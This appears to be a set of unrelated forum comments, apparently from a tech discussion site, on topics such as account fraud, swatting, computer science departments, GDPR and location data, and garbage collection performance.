Thanks for posting this - I hadn't realised they were already doing it. I'm not sure how else they could be combatting password reuse attacks, short of forcing every user to reset their password.

It sounds like their engineering time might be better spent on fraud detection algorithms.
A few years ago I was a 'victim' of identify theft and someone ordered Sky to be installed at my parents address. They thought it was a gift, so gladly let the installation guy go ahead without asking me. I assume they did this to get a bill to be used as proof of address for other things, as I later had bank accounts and phones opened in my name.
Sure, the above are not the only reasons.
I'm reading part of the problem is getting good teachers, because the tech industry wants them as well. Would the tech industry be willing to cooperate with universities and help pay for teachers / make them available to give classes? It's their future employees after all.
Even then. There's nothing stopping you from placing a loop in the same scope as an object that's not used in or after the loop.
A sample library of the Una Corda is available from Native Instruments. It's a very useful instrument, providing a lighter and more ethereal alternative to a conventional piano. It has a surprisingly complex timbre, evoking hints of a harp, steel pan or kalimba in the upper register.

Yes, the system needs to be improved, the way that police respond with indiscriminate violence as a first resort puts people in danger in many situations beyond these, and needs to be changed.

But I feel like some in this thread are calling for leniancy for 'swatters', perhaps because they've done it themselves or are friends with those who have. "the solution is not to try and prevent people from lying to it." No, it's that too. The police ARE a dangerous murderous gang, as long as that is true tricking them into responding to someone on false pretenses is a violent act, with potentially deadly consequences, a grossly immoral act.

If anyone thinks they can escape moral culpability for swatting because it's the police's fault -- even making that argument is explicitly recognizing that the police are a dangerous violent force, so if you sic them on someone you know what you are doing, you know the potential consequences. If you let your dangerous dog loose on purpose and it attacks someone, it's your fault and the dogs fault too. You have responsibility for your actions. Intentionally exposing someone to potential police violence is on the person who does it, even if the police ought not to be so easy to be used in that way, that person still used them in that way. And it's a horribly unethical thing to do.
You could very easily create containers for tampons and pads that only give you one at a time.

If you wanted to be slightly more "evil" you could easily make it so removal of the pads would pull away part of the plastic seal; making them impossible to sell and harder to hoard.
The point of the article is that the US Government employs people who do good things (science, medicine, etc.) and that capricious management(for example, government shutdowns or arbitrary censorship of research results) encourages them to leave government service and work elsewhere. This is not a new phenomenon but it is much more common under the Trump administration.

I made an account just to comment on this link as I have personal experience in the matter.

I graduated from a relatively good school with a degree in Computer Science, yet wasn't admitted into the major until 2 weeks before graduation. I spent my entire college career in Computer Engineering while taking Computer Science courses and (thankfully) was able to complete the curriculum without actually being a part of it. I lucked out as at my school Computer Science isn't locked down like many of the other engineering majors, so anyone can take a CS course as long as they meet the pre-reqs. It would be an understatement to say the experience was harrowing.

That's possible at my bank at least, my wife and I have a common account with two visa debit cards attached (no credit on it).

It's not so much for splitting the bill (I pay the most of what goes in there), but it makes putting it in our accounting system much easier :)
I can only imagine Apple selling cars like they currently do their hardware. They ship a product that had multiple design defects. Then deny the claims or blame it on the users, until the users start suing them. Having people beta test your phones is one thing. But in no way do I trust a vehicle made by Apple on the roads.
There is also a factor with lag in budgeting. When I first started computer science at my school it was a smaller department (maybe 2-3 intro cources of 50 people). When I was a JR, my department didn't have the budget to put out a off schedule OS course. The budget was consumed by 13 intro courses.

As I was graduating, my program not only had 10-13 intro courses but had 4x as many electives as it had when I started.

High-skilled immigration remains popular in anti-immigrant nations – Axios
Hm, I tried to create an account to check the signup flow but it looks like you need to place an order to create an account (and I'm not that hungry) (also, that's a really fun and interesting way of massaging growth numbers…).

To add to what detaro was saying; even if explicit consent were required for sharing your location data, Deliveroo most likely got it; they after all need it to know where your order is going to go. When such functionality is core to the app, an opt-out is not necessary.

What they might not have gotten, or at least not clearly, is your consent to send that data to a third party, explicitly and exclusively for marketing purposes. I don't know how this would play out.

Realistically, GDPR and its enforcers err on the side of caution (you need good justification to gather the data and share it, including consent and a reason to gather it in the first place). So if you care about this and wish to see it corrected, as I said an email to their dpo@ will likely go a long way. In case it doesn't, your national enforcement agency may be interested. Extremely-accurate location data is pretty creepy, especially if they get it very often and doubly so if they store it for a long time.

The #1 thing I would look at here is what they actually need it for. They may need it for security reasons (eg. anti-fraud measures) and happen to be storing it in Braze which is probably okay if Braze respects GDPR and Deliveroo signed a DPA with them (you'd be surprised the amount of companies storing security data in GA).

But you wouldn't have a very hard time making a case that they're using this for marketing purposes and are gathering an unreasonable amount of accuracy. So now the question is, do you care about this enough to follow up on it? :)

Fact.Mr publishes report on the importance of recycled aggregates
It’s important to note that this is taught in schools starting from as early as grade 1. I do believe that teaching children about the joys of eating food and sharing meals could have a positive impact. Consider France, arguably one of the healthiest nations when it comes to food, where this is culturally ingrained from an early age.
I've always really enjoyed teaching people about programming topics at work and I've often wondered about trying to volunteer at the local high school or something, but having a wife who has worked as a teacher and a mother who is a college professor I have zero illusions about how much work it takes to do this well. I'd need a pretty significant amount of support from an employer to even consider this and I've never worked for an employer that I think would have supported it to that degree.
It's probably something I'll never do despite being interested in it because it would be too much effort.
I paid for professional headshots to use in professional settings. It was partly about LinkedIn and other social media, and partly about conferences and press.

Why? Because it's an effective way to tell your story better.

It says you're confident, because you know that you're awesome enough to deserve a professional shoot.

The specifics of whatever photos you end up using will carry some message. For example being shot in front of books carries an obvious message.

It's good to have a photo specifically designed for professional contexts, rather than one awkwardly repurposed from a social context.
PUSH Kiss the browser goodbye: The radical future of media (1997)
>The particular problem is that malloc/free is not free of charge. [...] The problem with this paper is it assumes that malloc/free is cost-free and instantaneous,

I think I get that you're trying to explain how GC overhead is overstated and malloc()/free() is understated but your angle about "malloc not being free of charge" it isn't really the evidence you want to use.

As analogy, we can see that a Lamborghini is faster than a Hyundai. Let's say we state that the performance comparison is flawed because it it still takes the Lamborghini a non-zero amount of time to accelerate to 60 mph (or 100 km/hr) and Lamborghini is still consuming gasoline. While the cost datapoints are true, it still doesn't change the macro observation that the Hyundai is slower.

Also, you're misrepresenting the 2nd paper you cited. The authors do mention "overhead" of malloc. They do not assume that malloc is "cost-free" on page 4:

>3.2 malloc Overhead - When using allocators implemented in C, the oracular memory manager invokes allocation and deallocation functions through the Jikes VM SysCall foreign function call interface. While not free, these calls do not incur as much overhead as JNI invocations. Their total cost is just 11 instructions: six loads and stores, three registerto-register moves, one load-immediate, and one jump. This cost is similar to that of invoking memory operations in C and C++, where malloc and free are functions defined in an external library (e.g., libc.so).

In other words, even if malloc/free is not instantaneous and not cost-free, it can still be faster than GC. Neither paper's conclusions depend on malloc/free taking zero amounts of time or zero cpu instructions. If the papers are flawed, you have to explain it using different logic.
Do you have any links?

It's not a claim I've ever heard before.
Why the emphasis on recruiting new faculty to teach undergraduate level computer science courses ? Does the material genuinely require the input of a professor? It seems that universities/colleges are experiencing short-term shortages of teaching personnel that can readily be recruited from other sources without necessitating hiring new faculty.
Construction is one example. Doing drywall or carpentry is a highly skilled job. There are many subs that only employ illegals, bid really low on jobs, and drive out legitimate subs.
The challenge for comparisons is doing it all offline and indistinguishable from user activity - I’ve seen cases where the attacker updated tripwire, rpm/deb sums, etc. or only presented the payload to a specific process, requesting IP not on the local network, etc. In this case I’d want something like a random process where a new EC2 instance does a install so you could make it a lot harder to cloak the attack because that’s also what many targets will do.
At the same time Waymo put a lot of money into working with lidars, which helps Waymo to get to Level 4 faster, which is great, but it seems like on long term Elon is right that to get to L5 autonomous cars have to improve enough to be able to work only with cameras and microphone.

What if the restaurants being ordered at are part of the scam? Steal from a Deliveroo customer, order at restaurant X, the restaurant puts it in their books, then splits the money with the party that broke into the account. As long as there's no proof the two are working together it's a great money laundering scheme.
No, one time I took the team (~10 persons) to a nearby park on a nice day, and took photos with blurry green background.

At my school almost all of the electives where taught by people in industry.

They either taught a 2 course long elective and offered internships at their company during the second course (Hey you spent the last 5~ months training these people and no you know who is a good worker), or they taught one elective and offered internships to the students they liked at the end.

Their companies paid them to do this for... obvious reasons.
It sounds very much like this journalist is trying to make a mountain out of a mole hill.

The real story is that Deliveroo does not handle fraud properly. This is a much lesser crime than what they are being accused of.

The author wants to make it seem like Deliveroo has had a data leak and are trying to hide the fact. There is no evidence of this, but if it did turn out to be true then the author would be able to claim that they broke the story.
I'm not sure what you mean by this but a few other people have asked me about the described screen size problem so I decided to add some clarification.

My guess: Rapid prototyping of tools that use scraping as a source of data.

We actually have multiple tools that do realtime scraping as the primary data source. Many of these tools act as a simplified interface to features from another service.

For example, there is some webapp we've been using that we were using for a single feature, and that app doesnt have an API available. Using the app required many clicks, and page-loads were slow. By inspecting the HTTP requests, we figured out the minimum amount of HTTP requests required to perform our common task.

Using a simple GUI that focusses on that simple task, the user can initiate the task from a single form, and the server will perform the correct HTTP requests and notify the user whether the process was successful or not.

We have plenty of these "micro tools" that encapsulate / wrap around web apps to simplify the usage of that tool. Usually our micro tools are easier to use (because its focused around our use-case), add integrations with other tools and commonly are significantly faster as well.

They are easy to build (usually within 40 hours) and are a real time-saver, because the users don't have to keep track of all the logins, don't have to load slow web apps, and don't have to have a guide with screenshots where they need to click.

These web-apps sometimes change their request/response structure but after building a few of these tools, but it doesn't happen that often and the tools are updated within hours.

Conservative collection is unfortunately terrible when you're dealing with data that looks random, like cryptography. It generates many false "pointer live" positives, which ends up retaining a lot more memory which looks like it's leaking.

"The university is looking to hire several tenure-track faculty members in computing this year, he said, but competition for top candidates is fierce. I know of major departments that interviewed 40 candidates, and I don’t think they hired anybody."

That doesn't sound like fierce competition if they were able to interview 40 candidates... Did they give them all high-paying offers and they all rejected?

It does get a bit absurd when extended. Can you not speak to someone in company buildings? On company property?

The logical rule seems like if if the communication doesn't have a direct impact on company operations (e.g. flooding email servers so other mail cannot be processed), then it's protected.

And the quote to the effect of 'This was a legal defense, not a position Google endorses' is... odd.
At least where I am, a small claims claim is a matter of filling out a form and paying the fee. I may be contacted for more information, but don't need to otherwise do anything unless I'm unsatisfied with the outcome, in which case the appeals process goes through a proper court.

Besides, I said that I'd only do this if I didn't get a refund through Deliveroo/bank/CC chargeback. I certainly wouldn't start with small claims court.
It just goes to show that a large company is made up of many different people in different departments, sometimes with different agendas. It appears that there is a conflict of vision within Google.
Also a sample size of 1, but I'm the exact type of vegetarian you're describing (don't like meat because of flavor and texture) and probably get served half a dozen fake burgers a year. It's usually (not always) in settings where a large number of people are being served food. Think "union barbecue" not "dinner party".
There are two sides to that: intent of the thief and intent of the owner. If you borrow my lawnmower, even if I'm not okay with it, you may still, from your perspective, be borrowing it and bring it back. If someone takes my bread, I may not have a big problem with that, but if I hadn't put up a sign saying: "Free bread, please take some", the thief wouldn't know and wouldn't have permission to take it.

The issue is easy when both sides agree on what it is, but there's grey area in between.
Singapore Law Ministry Declares Cryptocurrencies as Illegal Tender
While the article bemoans these programs becoming restrictive, it is ignoring a major reality. Let's take a person. This is the person that might end up getting 'weeded out' before they've even gotten their foot in the door. They probably have 0 or near 0 background in anything related to computing. They similarly likely have negligible background in anything related to science/engineering/mathematics. And keep in mind we now live in the era where there are a million free resources online (as well as compilers/etc) meaning the cost of doing any of this is practically 0, so they've generally chosen to never pursue any of this.

Let's take this person, John Doe, and imagine he gets accepted to a computer science program at a well regarded university. The majority of people in his class will fail/drop out of the program before graduation, regardless of background. How likely is John Doe in particular to make it through the program? I don't know the exact number, but it is going to be extremely low. What these 'barriers' do is not only save people from wasting their time, but also make room for people who stand a better chance of making it through the program.

And furthermore rejection is hardly some death sentence. If somebody genuinely wants into the program then they could take independent classes at a community college, take remedial non-major classes and demonstrate excellence, or any of a wide array of other options that could then be segued into acceptance next year/semester. And this doesn't even necessarily have to slow them down. There are so many core non-major classes required that you can get those out of the way and ultimately end up graduating in about the same time as if you were accepted to begin with. Imagine getting your calculus, linear algebra, physics/chemistry/... pick, etc stuff all done in your freshman year. That would've actually been AWESOME to have been able to have your schedule packed with nothing but CS classes and maybe a few softball liberal arts requirements for your later years.
The state paid a portion of the cost in the 1980s, so the $675 was only part of the cost. I would expect the cost for education hasn’t increased over time; rather the share has been shifted more greatly to the student.

To your last point, Society is going to pay in one way or another. We can subsidize tuition and benefit from an educated population, with greater innovation and culture that results; or we can have less growth, innovation, and poverty.
